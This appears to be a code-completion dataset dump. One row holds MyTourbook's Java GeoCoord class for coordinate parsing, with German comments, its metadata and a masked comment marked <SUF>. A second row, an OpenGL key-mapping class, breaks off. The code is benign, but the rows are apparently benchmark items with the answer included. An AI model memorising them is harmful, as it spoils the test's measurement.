// public int getTertias() {
// return tertias;
// }
public boolean greaterOrEqual(final GeoCoord c) {
return (decimal >= c.decimal);
}
public boolean greaterThen(final GeoCoord c) {
return (decimal > c.decimal);
}
public boolean lessOrEqual(final GeoCoord c) {
return (decimal <= c.decimal);
}
public boolean lessThen(final GeoCoord c) {
return (decimal < c.decimal);
}
public void mult(final double faktor) {
decimal *= faktor;
updateDegrees();
}
private String normalize(String s) {
// Kommentar s. o.
// blank -> (nichts)
// " -> (nichts)
// [NEO] -> (nichts)
s = s.replace(UI.SPACE1, UI.EMPTY_STRING)
.replace("\"", UI.EMPTY_STRING) //$NON-NLS-1$
.replace("N", UI.EMPTY_STRING) //$NON-NLS-1$
.replace("E", UI.EMPTY_STRING) //$NON-NLS-1$
.replace("O", UI.EMPTY_STRING); //$NON-NLS-1$
// [SW] vorne -> - vorne
// [SW] hinten -> - vorne
if (s.startsWith("S")) { //$NON-NLS-1$
s = "-" + s.substring(1); //$NON-NLS-1$
} else if (s.startsWith("W")) { //$NON-NLS-1$
s = "-" + s.substring(1); //$NON-NLS-1$
} else if (s.endsWith("S")) { //$NON-NLS-1$
s = "-" + s.substring(0, s.length() - 1); //$NON-NLS-1$
} else if (s.endsWith("W")) { //$NON-NLS-1$
s = "-" + s.substring(0, s.length() - 1); //$NON-NLS-1$
}
// , -> .
// ° -> :
// ' -> :
s = s.replace(',', '.').replace('\u00B0', ':') // degree sign
.replace('\'', ':');
// : hinten -> (nichts)
if (s.endsWith(UI.SYMBOL_COLON)) {
s = s.substring(0, s.length() - 1);
}
return s;
}
public boolean notEqualTo(final GeoCoord c) {
return (decimal != c.decimal);
}
public void set(final double d) {
doubleValue = d;
decimal = (int) (d * faktg);
updateDegrees();
}
public void set(final GeoCoord c) {
decimal = c.decimal;
doubleValue = c.doubleValue;
updateDegrees();
}
public void set(String s) {
int pat;
s = normalize(s);
for (pat = 0; pat < PATTERN_ANZ; pat++) {
matcher = pattern[pat].matcher(s);
if (matcher.matches()) {
break;
}
}
if (pat == PATTERN_ANZ) {
degrees = minutes = seconds = tertias = 0;
updateDecimal();
return;
}
switch (pat) {
case 0:
case 1: // -ggg:mm oder -gggMM
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
seconds = 0;
tertias = 0;
break;
case 2:
case 3: // -ggg:mm:ss (z.B. von toString) oder -gggMMSS
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
seconds = new Integer(matcher.group(4)).intValue();
tertias = 0;
break;
case 4: // -ggg:mm:ss:tt z.B. von toStringFine (mit Tertias, d. h. um Faktor 60 genauer)
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
seconds = new Integer(matcher.group(4)).intValue();
tertias = new Integer(matcher.group(5)).intValue();
break;
case 5: // -ggg.ggggg
final double dg = new Double(matcher.group(2)).doubleValue();
degrees = (int) dg;
final double dgg = Math.abs(dg - degrees);
minutes = (int) (dgg * fakts);
seconds = (int) (dgg * faktm - minutes * fakts);
tertias = (int) (dgg * faktg - minutes * faktm - seconds * fakts + 0.5);
break;
case 6:
case 7: // -ggg:mm.mmmmm oder -gggMM.mmmmm
degrees = new Integer(matcher.group(2)).intValue();
final double dm = new Double(matcher.group(3)).doubleValue();
minutes = (int) dm;
final double dmm = Math.abs(dm - minutes);
seconds = (int) (dmm * fakts);
tertias = (int) (dmm * faktm - seconds * fakts + 0.5);
break;
case 8:
case 9: // -ggg:mm:ss.sssss oder -gggMMSS.sssss
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
final double ds = new Double(matcher.group(4)).doubleValue();
seconds = (int) ds;
final double dss = Math.abs(ds - seconds);
tertias = (int) (dss * fakts + 0.5);
break;
default:
break;
}
if (matcher.group(1).equals("-")) { //$NON-NLS-1$
direction = directionMinus();
} else {
direction = directionPlus();
}
updateDecimal();
}
public void setDecimal(final int d) {
decimal = d;
updateDegrees();
}
public void setDegrees(final int d) {
degrees = d;
updateDecimal();
}
public void setDegreesMinutesSecondsDirection(final int d, final int m, final int s, final char r) {
degrees = d;
minutes = m;
seconds = s;
direction = r;
updateDecimal();
}
public void setDirection(final char r) {
direction = r;
if (direction == 'O') {
direction = 'E';
}
updateDecimal();
}
public void setDoubleValue(final double doppel) {
this.doubleValue = doppel;
}
public void setMean(final GeoCoord k1, final GeoCoord k2) {
// auf Mittelwert von k1 und k2 setzen (1-dimensional!)
set(k1);
div(2.);
final GeoCoord kHelp = new GeoCoord();
kHelp.set(k2);
kHelp.div(2.);
add(kHelp);
}
public void setMinutes(final int m) {
minutes = m;
updateDecimal();
}
public void setSeconds(final int s) {
seconds = s;
updateDecimal();
}
public void setTertias(final int t) {
tertias = t;
updateDecimal();
}
public double sin() {
return Math.sin(this.toRadians());
}
public void sub(final double d) {
decimal -= d;
updateDegrees();
}
public void sub(final GeoCoord c) {
decimal -= c.decimal;
updateDegrees();
}
public void sub(final GeoCoord c, final GeoCoord s) {
decimal = c.decimal;
this.sub(s);
}
public void subSecond(final int n) {
this.sub(n * fakts);
}
public double tan() {
return Math.tan(this.toRadians());
}
public double toDegrees() {
return ((double) decimal / faktg);
}
public void toLeft(final GeoCoord r) {
// auf Rasterrand zur Linken shiften
final int raster = r.decimal;
if (decimal < 0) {
decimal -= raster;
}
decimal /= raster;
decimal *= raster;
updateDegrees();
}
public void toLeft(final GeoCoord c, final GeoCoord r) {
// c auf Rasterrand zur Linken shiften
decimal = c.decimal;
this.toLeft(r);
}
public double toRadians() {
return Math.toRadians((double) decimal / faktg);
}
public void toRight(final GeoCoord r) {
// auf Rasterrand zur Rechten shiften
final int raster = r.decimal;
decimal /= raster;
decimal *= raster;
if (decimal >= 0) {
decimal += raster;
}
updateDegrees();
}
public void toRight(final GeoCoord c, final GeoCoord r) {
// c auf Rasterrand zur Rechten shiften
decimal = c.decimal;
this.toRight(r);
}
@Override
public String toString() { // = toStringDegreesMinutesSecondsDirection()
return UI.EMPTY_STRING
+ NumberForm.n2(degrees)
+ UI.SYMBOL_COLON
+ NumberForm.n2(minutes)
+ UI.SYMBOL_COLON
+ NumberForm.n2(seconds)
+ UI.SPACE1
+ direction;
}
public String toStringDegrees() {
double d = decimal;
d /= faktg;
return NumberForm.f6(d);
}
public String toStringDegreesDirection() {
double d = decimal;
d /= faktg;
if (d < 0) {
d = -d;
}
return UI.EMPTY_STRING + NumberForm.f5(d) + UI.SPACE1 + direction;
}
public String toStringDegreesMinutesDirection() {
double m = decimal;
if (m < 0) {
m = -m;
}
m -= degrees * faktg;
m /= faktm;
return UI.EMPTY_STRING + NumberForm.n2(degrees) + UI.SYMBOL_COLON + NumberForm.n2f3(m) + UI.SPACE1 + direction;
}
public String toStringDouble() { // nur für GPS-Datenfiles
return NumberForm.f6(doubleValue);
}
public String toStringFine() { // = toStringDegreesMinutesSecondsTertiasDirection()
return UI.EMPTY_STRING
+ NumberForm.n2(degrees)
+ UI.SYMBOL_COLON
+ NumberForm.n2(minutes)
+ UI.SYMBOL_COLON
+ NumberForm.n2(seconds)
+ UI.SYMBOL_COLON
+ NumberForm.n2(tertias)
+ UI.SPACE1
+ direction;
}
public void updateDecimal() {
decimal = degrees * faktg;
decimal += minutes * faktm;
decimal += seconds * fakts;
decimal += tertias;
doubleValue = decimal;
doubleValue /= faktg;
if (direction == directionMinus()) {
decimal = -decimal;
doubleValue = -doubleValue;
}
}
public void updateDegrees() {
// optimized: dec = Math.abs(decimal);
int dec = ((decimal < 0) ? -decimal : decimal);
degrees = dec / faktg;
dec -= degrees * faktg;
minutes = dec / faktm;
dec -= minutes * faktm;
seconds = dec / fakts;
dec -= seconds * fakts;
tertias = dec;
direction = decimal < 0 ? directionMinus() : directionPlus();
doubleValue = decimal;
doubleValue /= faktg;
}
}
| mytourbook/mytourbook | bundles/net.tourbook/src/de/byteholder/gpx/GeoCoord.java | 6,567 | // blank -> (nichts)
| line_comment | nl | /*******************************************************************************
* Copyright (C) 2005, 2020 Wolfgang Schramm and Contributors
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*******************************************************************************/
/**
* @author Alfred Barten
*/
package de.byteholder.gpx;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import net.tourbook.common.UI;
public class GeoCoord {
public static final int faktg = 60 * 60 * 60;
public static final int faktm = 60 * 60;
public static final int fakts = 60;
final static private int PATTERN_ANZ = 10;
final static private String patternString[] = new String[PATTERN_ANZ];
final static private Pattern pattern[] = new Pattern[PATTERN_ANZ];
static private Matcher matcher = null;
public char direction;
int degrees; // 1 Degrees in NS-Direction = 110.946 km
int minutes; // 1 Min. in NS-Direction = 1.852 km
int seconds; // 1 Sek. in NS-Direction = 30.68 m
int tertias; // sechzigstel Seconds // 1 Trz. in NS-Direction = 0.51 m
public int decimal; // nur Subklassen (GeoLat, GeoLon) kennen die Variable
// Variable doubleValue wird ausschliesslich für GPS-Dateifiles verwendet
// (dort, damit keine Rundungsfehler beim Splitten eines großen HST-Files in
// viele kleine entstehen)
// Variable muss mit set(double) gesetzt und mit toStringDouble*() gelesen werden
// _kein_ Update in updateDecimal und updateDegrees,
// d.h. add etc. fkt. nicht!
private double doubleValue = 0.;
/***********************************************************************************
* Zur Erkennung von Strings: zunächst werden Ersetzungen vorgenommen: blank -> (nichts) " ->
* (nichts) [SW] vorne -> - vorne [SW] hinten -> - vorne [NEO] -> (nichts) , -> . ° -> : ' -> :
* : hinten -> (nichts) danach bleiben folgende Fälle übrig: Symbolisch RegEx -ggg:mm
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}) -gggMM ([-+]?)([0-9]{1,3})([0-9]{2}) -ggg:mm:ss
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}) -gggMMSS
* ([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2}) -ggg:mm:ss:tt
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2}) -ggg.ggggg
* ([-+]?)([0-9]{1,3}\\.[0-9]+) -ggg:mm.mmmmm ([-+]?)([0-9]{1,3}):([0-9]{1,2}\\.[0-9]+)
* -gggMM.mmmmm ([-+]?)([0-9]{1,3})([0-9]{2}\\.[0-9]+) -ggg:mm:ss.sssss
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}\\.[0-9]+) -gggMMSS.sssss
* ([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2}\\.[0-9]+) dabei bedeutet: - ^= plus, minus oder nichts
* ggg ^= ein bis drei Stellen mm,ss,tt ^= ein oder zwei Stellen MM,SS ^= exakt zwei Stellen .*
* ^= ein oder mehrere Nachkommastellen
***********************************************************************************/
public GeoCoord() {
degrees = 0;
minutes = 0;
seconds = 0;
decimal = 0;
tertias = 0;
direction = directionPlus();
// Kommentar s. o.
patternString[0] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2})"); //$NON-NLS-1$
patternString[1] = new String("([-+]?)([0-9]{1,3})([0-9]{2})"); //$NON-NLS-1$
patternString[2] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2})"); //$NON-NLS-1$
patternString[3] = new String("([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2})"); //$NON-NLS-1$
patternString[4] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})"); //$NON-NLS-1$
patternString[5] = new String("([-+]?)([0-9]{1,3}\\.[0-9]+)"); //$NON-NLS-1$
patternString[6] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}\\.[0-9]+)"); //$NON-NLS-1$
patternString[7] = new String("([-+]?)([0-9]{1,3})([0-9]{2}\\.[0-9]+)"); //$NON-NLS-1$
patternString[8] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}\\.[0-9]+)"); //$NON-NLS-1$
patternString[9] = new String("([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2}\\.[0-9]+)"); //$NON-NLS-1$
for (int i = 0; i < PATTERN_ANZ; i++) {
pattern[i] = Pattern.compile(patternString[i]);
}
}
public double acos() {
return Math.acos(this.toRadians());
}
public void add(final double d) {
decimal += d;
updateDegrees();
}
public void add(final GeoCoord a) {
decimal += a.decimal;
updateDegrees();
}
public void add(final GeoCoord c, final GeoCoord a) {
decimal = c.decimal;
this.add(a);
}
public void addSecond(final int n) {
this.add(n * fakts);
}
// public int getHashkey() {
// // tertias-genau
// if (decimal >= 0)
// return decimal;
// return decimal + 134217728; // = 2^27 > 77760000 = 360 * 60 * 60 * 60
// }
public double asin() {
return Math.asin(this.toRadians());
}
public double atan() {
return Math.atan(this.toRadians());
}
public double cos() {
return Math.cos(this.toRadians());
}
public char directionMinus() {
return '?';
}
// dummies; siehe GeoLon / GeoLat
public char directionPlus() {
return '!';
}
public void div(final double faktor) {
decimal /= faktor;
updateDegrees();
}
public boolean equalTo(final GeoCoord c) {
return (decimal == c.decimal);
}
// public int getDecimal() {
// return decimal;
// }
//
// public int getDegrees() {
// return degrees;
// }
//
// public char getDirection() {
// return direction;
// }
//
// public double getDoubleValue() {
// return doubleValue;
// }
public int getHashkeyDist() {
// Minutes-genau; Wert < 21600; 21600^2 < 2^30
// absichtlich grob, damit "benachbarte" Punkte in gleiche "Toepfe" fallen
if (direction == 'N') {
return 60 * (89 - degrees) + minutes;
}
if (direction == 'S') {
return 60 * (90 + degrees) + minutes;
}
if (direction == 'W') {
return 60 * (179 - degrees) + minutes;
}
return 60 * (180 + degrees) + minutes;
}
// public int getMinutes() {
// return minutes;
// }
//
// public int getSeconds() {
// return seconds;
// }
//
// public int getTertias() {
// return tertias;
// }
public boolean greaterOrEqual(final GeoCoord c) {
return (decimal >= c.decimal);
}
public boolean greaterThen(final GeoCoord c) {
return (decimal > c.decimal);
}
public boolean lessOrEqual(final GeoCoord c) {
return (decimal <= c.decimal);
}
public boolean lessThen(final GeoCoord c) {
return (decimal < c.decimal);
}
public void mult(final double faktor) {
decimal *= faktor;
updateDegrees();
}
private String normalize(String s) {
// Kommentar s. o.
// blank <SUF>
// " -> (nichts)
// [NEO] -> (nichts)
s = s.replace(UI.SPACE1, UI.EMPTY_STRING)
.replace("\"", UI.EMPTY_STRING) //$NON-NLS-1$
.replace("N", UI.EMPTY_STRING) //$NON-NLS-1$
.replace("E", UI.EMPTY_STRING) //$NON-NLS-1$
.replace("O", UI.EMPTY_STRING); //$NON-NLS-1$
// [SW] vorne -> - vorne
// [SW] hinten -> - vorne
if (s.startsWith("S")) { //$NON-NLS-1$
s = "-" + s.substring(1); //$NON-NLS-1$
} else if (s.startsWith("W")) { //$NON-NLS-1$
s = "-" + s.substring(1); //$NON-NLS-1$
} else if (s.endsWith("S")) { //$NON-NLS-1$
s = "-" + s.substring(0, s.length() - 1); //$NON-NLS-1$
} else if (s.endsWith("W")) { //$NON-NLS-1$
s = "-" + s.substring(0, s.length() - 1); //$NON-NLS-1$
}
// , -> .
// ° -> :
// ' -> :
s = s.replace(',', '.').replace('\u00B0', ':') // degree sign
.replace('\'', ':');
// : hinten -> (nichts)
if (s.endsWith(UI.SYMBOL_COLON)) {
s = s.substring(0, s.length() - 1);
}
return s;
}
public boolean notEqualTo(final GeoCoord c) {
return (decimal != c.decimal);
}
public void set(final double d) {
doubleValue = d;
decimal = (int) (d * faktg);
updateDegrees();
}
public void set(final GeoCoord c) {
decimal = c.decimal;
doubleValue = c.doubleValue;
updateDegrees();
}
public void set(String s) {
int pat;
s = normalize(s);
for (pat = 0; pat < PATTERN_ANZ; pat++) {
matcher = pattern[pat].matcher(s);
if (matcher.matches()) {
break;
}
}
if (pat == PATTERN_ANZ) {
degrees = minutes = seconds = tertias = 0;
updateDecimal();
return;
}
switch (pat) {
case 0:
case 1: // -ggg:mm oder -gggMM
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
seconds = 0;
tertias = 0;
break;
case 2:
case 3: // -ggg:mm:ss (z.B. von toString) oder -gggMMSS
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
seconds = new Integer(matcher.group(4)).intValue();
tertias = 0;
break;
case 4: // -ggg:mm:ss:tt z.B. von toStringFine (mit Tertias, d. h. um Faktor 60 genauer)
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
seconds = new Integer(matcher.group(4)).intValue();
tertias = new Integer(matcher.group(5)).intValue();
break;
case 5: // -ggg.ggggg
final double dg = new Double(matcher.group(2)).doubleValue();
degrees = (int) dg;
final double dgg = Math.abs(dg - degrees);
minutes = (int) (dgg * fakts);
seconds = (int) (dgg * faktm - minutes * fakts);
tertias = (int) (dgg * faktg - minutes * faktm - seconds * fakts + 0.5);
break;
case 6:
case 7: // -ggg:mm.mmmmm oder -gggMM.mmmmm
degrees = new Integer(matcher.group(2)).intValue();
final double dm = new Double(matcher.group(3)).doubleValue();
minutes = (int) dm;
final double dmm = Math.abs(dm - minutes);
seconds = (int) (dmm * fakts);
tertias = (int) (dmm * faktm - seconds * fakts + 0.5);
break;
case 8:
case 9: // -ggg:mm:ss.sssss oder -gggMMSS.sssss
degrees = new Integer(matcher.group(2)).intValue();
minutes = new Integer(matcher.group(3)).intValue();
final double ds = new Double(matcher.group(4)).doubleValue();
seconds = (int) ds;
final double dss = Math.abs(ds - seconds);
tertias = (int) (dss * fakts + 0.5);
break;
default:
break;
}
if (matcher.group(1).equals("-")) { //$NON-NLS-1$
direction = directionMinus();
} else {
direction = directionPlus();
}
updateDecimal();
}
public void setDecimal(final int d) {
decimal = d;
updateDegrees();
}
public void setDegrees(final int d) {
degrees = d;
updateDecimal();
}
public void setDegreesMinutesSecondsDirection(final int d, final int m, final int s, final char r) {
degrees = d;
minutes = m;
seconds = s;
direction = r;
updateDecimal();
}
public void setDirection(final char r) {
direction = r;
if (direction == 'O') {
direction = 'E';
}
updateDecimal();
}
public void setDoubleValue(final double doppel) {
this.doubleValue = doppel;
}
public void setMean(final GeoCoord k1, final GeoCoord k2) {
// auf Mittelwert von k1 und k2 setzen (1-dimensional!)
set(k1);
div(2.);
final GeoCoord kHelp = new GeoCoord();
kHelp.set(k2);
kHelp.div(2.);
add(kHelp);
}
public void setMinutes(final int m) {
minutes = m;
updateDecimal();
}
public void setSeconds(final int s) {
seconds = s;
updateDecimal();
}
public void setTertias(final int t) {
tertias = t;
updateDecimal();
}
public double sin() {
return Math.sin(this.toRadians());
}
public void sub(final double d) {
decimal -= d;
updateDegrees();
}
public void sub(final GeoCoord c) {
decimal -= c.decimal;
updateDegrees();
}
public void sub(final GeoCoord c, final GeoCoord s) {
decimal = c.decimal;
this.sub(s);
}
public void subSecond(final int n) {
this.sub(n * fakts);
}
public double tan() {
return Math.tan(this.toRadians());
}
public double toDegrees() {
return ((double) decimal / faktg);
}
public void toLeft(final GeoCoord r) {
// auf Rasterrand zur Linken shiften
final int raster = r.decimal;
if (decimal < 0) {
decimal -= raster;
}
decimal /= raster;
decimal *= raster;
updateDegrees();
}
public void toLeft(final GeoCoord c, final GeoCoord r) {
// c auf Rasterrand zur Linken shiften
decimal = c.decimal;
this.toLeft(r);
}
public double toRadians() {
return Math.toRadians((double) decimal / faktg);
}
public void toRight(final GeoCoord r) {
// auf Rasterrand zur Rechten shiften
final int raster = r.decimal;
decimal /= raster;
decimal *= raster;
if (decimal >= 0) {
decimal += raster;
}
updateDegrees();
}
public void toRight(final GeoCoord c, final GeoCoord r) {
// c auf Rasterrand zur Rechten shiften
decimal = c.decimal;
this.toRight(r);
}
@Override
public String toString() { // = toStringDegreesMinutesSecondsDirection()
return UI.EMPTY_STRING
+ NumberForm.n2(degrees)
+ UI.SYMBOL_COLON
+ NumberForm.n2(minutes)
+ UI.SYMBOL_COLON
+ NumberForm.n2(seconds)
+ UI.SPACE1
+ direction;
}
public String toStringDegrees() {
double d = decimal;
d /= faktg;
return NumberForm.f6(d);
}
public String toStringDegreesDirection() {
double d = decimal;
d /= faktg;
if (d < 0) {
d = -d;
}
return UI.EMPTY_STRING + NumberForm.f5(d) + UI.SPACE1 + direction;
}
public String toStringDegreesMinutesDirection() {
double m = decimal;
if (m < 0) {
m = -m;
}
m -= degrees * faktg;
m /= faktm;
return UI.EMPTY_STRING + NumberForm.n2(degrees) + UI.SYMBOL_COLON + NumberForm.n2f3(m) + UI.SPACE1 + direction;
}
public String toStringDouble() { // nur für GPS-Datenfiles
return NumberForm.f6(doubleValue);
}
public String toStringFine() { // = toStringDegreesMinutesSecondsTertiasDirection()
return UI.EMPTY_STRING
+ NumberForm.n2(degrees)
+ UI.SYMBOL_COLON
+ NumberForm.n2(minutes)
+ UI.SYMBOL_COLON
+ NumberForm.n2(seconds)
+ UI.SYMBOL_COLON
+ NumberForm.n2(tertias)
+ UI.SPACE1
+ direction;
}
public void updateDecimal() {
decimal = degrees * faktg;
decimal += minutes * faktm;
decimal += seconds * fakts;
decimal += tertias;
doubleValue = decimal;
doubleValue /= faktg;
if (direction == directionMinus()) {
decimal = -decimal;
doubleValue = -doubleValue;
}
}
public void updateDegrees() {
// optimized: dec = Math.abs(decimal);
int dec = ((decimal < 0) ? -decimal : decimal);
degrees = dec / faktg;
dec -= degrees * faktg;
minutes = dec / faktm;
dec -= minutes * faktm;
seconds = dec / fakts;
dec -= seconds * fakts;
tertias = dec;
direction = decimal < 0 ? directionMinus() : directionPlus();
doubleValue = decimal;
doubleValue /= faktg;
}
}
|
31415_6 | package jet.opengl.desktop.jogl;
import com.nvidia.developer.opengl.app.KeyEventListener;
import com.nvidia.developer.opengl.app.NvInputDeviceType;
import com.nvidia.developer.opengl.app.NvKey;
import com.nvidia.developer.opengl.app.NvKeyActionType;
import com.nvidia.developer.opengl.app.NvPointerActionType;
import com.nvidia.developer.opengl.app.NvPointerEvent;
import com.nvidia.developer.opengl.app.TouchEventListener;
import com.nvidia.developer.opengl.app.WindowEventListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.awt.event.MouseMotionListener;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import jet.opengl.postprocessing.util.LogUtil;
import jet.opengl.postprocessing.util.Pool;
/**
* Created by mazhen'gui on 2017/10/12.
*/
@Deprecated
final class JoglInputAdapter implements MouseMotionListener, MouseListener, KeyListener, NvKey {
private static final HashMap<Integer, Integer> sKeyCodeRemap = new HashMap<Integer, Integer>(128);
static{
sKeyCodeRemap.put(KeyEvent.VK_ESCAPE, K_ESC);
sKeyCodeRemap.put(KeyEvent.VK_F1, K_F1);
sKeyCodeRemap.put(KeyEvent.VK_F2, K_F2);
sKeyCodeRemap.put(KeyEvent.VK_F3, K_F3);
sKeyCodeRemap.put(KeyEvent.VK_F4, K_F4);
sKeyCodeRemap.put(KeyEvent.VK_F5, K_F5);
sKeyCodeRemap.put(KeyEvent.VK_F6, K_F6);
sKeyCodeRemap.put(KeyEvent.VK_F7, K_F7);
sKeyCodeRemap.put(KeyEvent.VK_F8, K_F8);
sKeyCodeRemap.put(KeyEvent.VK_F9, K_F9);
sKeyCodeRemap.put(KeyEvent.VK_F10, K_F10);
sKeyCodeRemap.put(KeyEvent.VK_F11, K_F11);
sKeyCodeRemap.put(KeyEvent.VK_F12, K_F12);
sKeyCodeRemap.put(KeyEvent.VK_PRINTSCREEN, K_PRINT_SCREEN);
sKeyCodeRemap.put(KeyEvent.VK_SCROLL_LOCK, K_SCROLL_LOCK);
sKeyCodeRemap.put(KeyEvent.VK_PAUSE, K_PAUSE);
sKeyCodeRemap.put(KeyEvent.VK_INSERT, K_INSERT);
sKeyCodeRemap.put(KeyEvent.VK_DELETE, K_DELETE);
sKeyCodeRemap.put(KeyEvent.VK_HOME, K_HOME);
sKeyCodeRemap.put(KeyEvent.VK_END, K_END);
sKeyCodeRemap.put(KeyEvent.VK_PAGE_UP, K_PAGE_UP);
sKeyCodeRemap.put(KeyEvent.VK_PAGE_DOWN, K_PAGE_DOWN);
sKeyCodeRemap.put(KeyEvent.VK_UP, K_ARROW_UP);
sKeyCodeRemap.put(KeyEvent.VK_DOWN, K_ARROW_DOWN);
sKeyCodeRemap.put(KeyEvent.VK_LEFT, K_ARROW_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_RIGHT, K_ARROW_RIGHT);
// sKeyCodeRemap.put(KeyEvent.VK_ACCENT_GRAVE, K_ACCENT_GRAVE);
sKeyCodeRemap.put(KeyEvent.VK_0, K_0);
sKeyCodeRemap.put(KeyEvent.VK_1, K_1);
sKeyCodeRemap.put(KeyEvent.VK_2, K_2);
sKeyCodeRemap.put(KeyEvent.VK_3, K_3);
sKeyCodeRemap.put(KeyEvent.VK_4, K_4);
sKeyCodeRemap.put(KeyEvent.VK_5, K_5);
sKeyCodeRemap.put(KeyEvent.VK_6, K_6);
sKeyCodeRemap.put(KeyEvent.VK_7, K_7);
sKeyCodeRemap.put(KeyEvent.VK_8, K_8);
sKeyCodeRemap.put(KeyEvent.VK_9, K_9);
sKeyCodeRemap.put(KeyEvent.VK_MINUS, K_MINUS);
sKeyCodeRemap.put(KeyEvent.VK_EQUALS, K_EQUAL);
sKeyCodeRemap.put(KeyEvent.VK_BACK_SLASH, K_BACKSPACE);
sKeyCodeRemap.put(KeyEvent.VK_TAB, K_TAB);
sKeyCodeRemap.put(KeyEvent.VK_Q, K_Q);
sKeyCodeRemap.put(KeyEvent.VK_W, K_W);
sKeyCodeRemap.put(KeyEvent.VK_E, K_E);
sKeyCodeRemap.put(KeyEvent.VK_R, K_R);
sKeyCodeRemap.put(KeyEvent.VK_T, K_T);
sKeyCodeRemap.put(KeyEvent.VK_Y, K_Y);
sKeyCodeRemap.put(KeyEvent.VK_U, K_U);
sKeyCodeRemap.put(KeyEvent.VK_I, K_I);
sKeyCodeRemap.put(KeyEvent.VK_O, K_O);
sKeyCodeRemap.put(KeyEvent.VK_P, K_P);
sKeyCodeRemap.put(KeyEvent.VK_BRACELEFT, K_LBRACKET);
sKeyCodeRemap.put(KeyEvent.VK_BRACERIGHT, K_RBRACKET);
sKeyCodeRemap.put(KeyEvent.VK_BACK_SLASH, K_BACKSLASH);
sKeyCodeRemap.put(KeyEvent.VK_CAPS_LOCK, K_CAPS_LOCK);
sKeyCodeRemap.put(KeyEvent.VK_A, K_A);
sKeyCodeRemap.put(KeyEvent.VK_S, K_S);
sKeyCodeRemap.put(KeyEvent.VK_D, K_D);
sKeyCodeRemap.put(KeyEvent.VK_F, K_F);
sKeyCodeRemap.put(KeyEvent.VK_G, K_G);
sKeyCodeRemap.put(KeyEvent.VK_H, K_H);
sKeyCodeRemap.put(KeyEvent.VK_J, K_J);
sKeyCodeRemap.put(KeyEvent.VK_K, K_K);
sKeyCodeRemap.put(KeyEvent.VK_L, K_L);
sKeyCodeRemap.put(KeyEvent.VK_SEMICOLON, K_SEMICOLON);
// sKeyCodeRemap.put(KeyEvent.VK_, K_APOSTROPHE);
sKeyCodeRemap.put(KeyEvent.VK_ENTER, K_ENTER);
sKeyCodeRemap.put(KeyEvent.VK_SHIFT, K_SHIFT_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_Z, K_Z);
sKeyCodeRemap.put(KeyEvent.VK_X, K_X);
sKeyCodeRemap.put(KeyEvent.VK_C, K_C);
sKeyCodeRemap.put(KeyEvent.VK_V, K_V);
sKeyCodeRemap.put(KeyEvent.VK_B, K_B);
sKeyCodeRemap.put(KeyEvent.VK_N, K_N);
sKeyCodeRemap.put(KeyEvent.VK_M, K_M);
sKeyCodeRemap.put(KeyEvent.VK_COMMA, K_COMMA);
sKeyCodeRemap.put(KeyEvent.VK_PERIOD, K_PERIOD);
sKeyCodeRemap.put(KeyEvent.VK_SLASH, K_SLASH);
sKeyCodeRemap.put(KeyEvent.VK_SHIFT, K_SHIFT_RIGHT);
sKeyCodeRemap.put(KeyEvent.VK_CONTROL, K_CTRL_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_WINDOWS, K_WINDOWS_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_ALT, K_ALT_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_SPACE, K_SPACE);
sKeyCodeRemap.put(KeyEvent.VK_ALT, K_ALT_RIGHT);
sKeyCodeRemap.put(KeyEvent.VK_WINDOWS, K_WINDOWS_RIGHT);
// sKeyCodeRemap.put(KeyEvent.VK_, K_CONTEXT); TODO
sKeyCodeRemap.put(KeyEvent.VK_CONTROL, K_CTRL_RIGHT);
sKeyCodeRemap.put(KeyEvent.VK_NUM_LOCK, K_NUMLOCK);
sKeyCodeRemap.put(KeyEvent.VK_DIVIDE, K_KP_DIVIDE);
sKeyCodeRemap.put(KeyEvent.VK_MULTIPLY, K_KP_MULTIPLY);
sKeyCodeRemap.put(KeyEvent.VK_SUBTRACT, K_KP_SUBTRACT);
sKeyCodeRemap.put(KeyEvent.VK_ADD, K_KP_ADD);
sKeyCodeRemap.put(KeyEvent.VK_ENTER, K_KP_ENTER);
sKeyCodeRemap.put(KeyEvent.VK_DECIMAL, K_KP_DECIMAL);
sKeyCodeRemap.put(KeyEvent.VK_0, K_KP_0);
sKeyCodeRemap.put(KeyEvent.VK_1, K_KP_1);
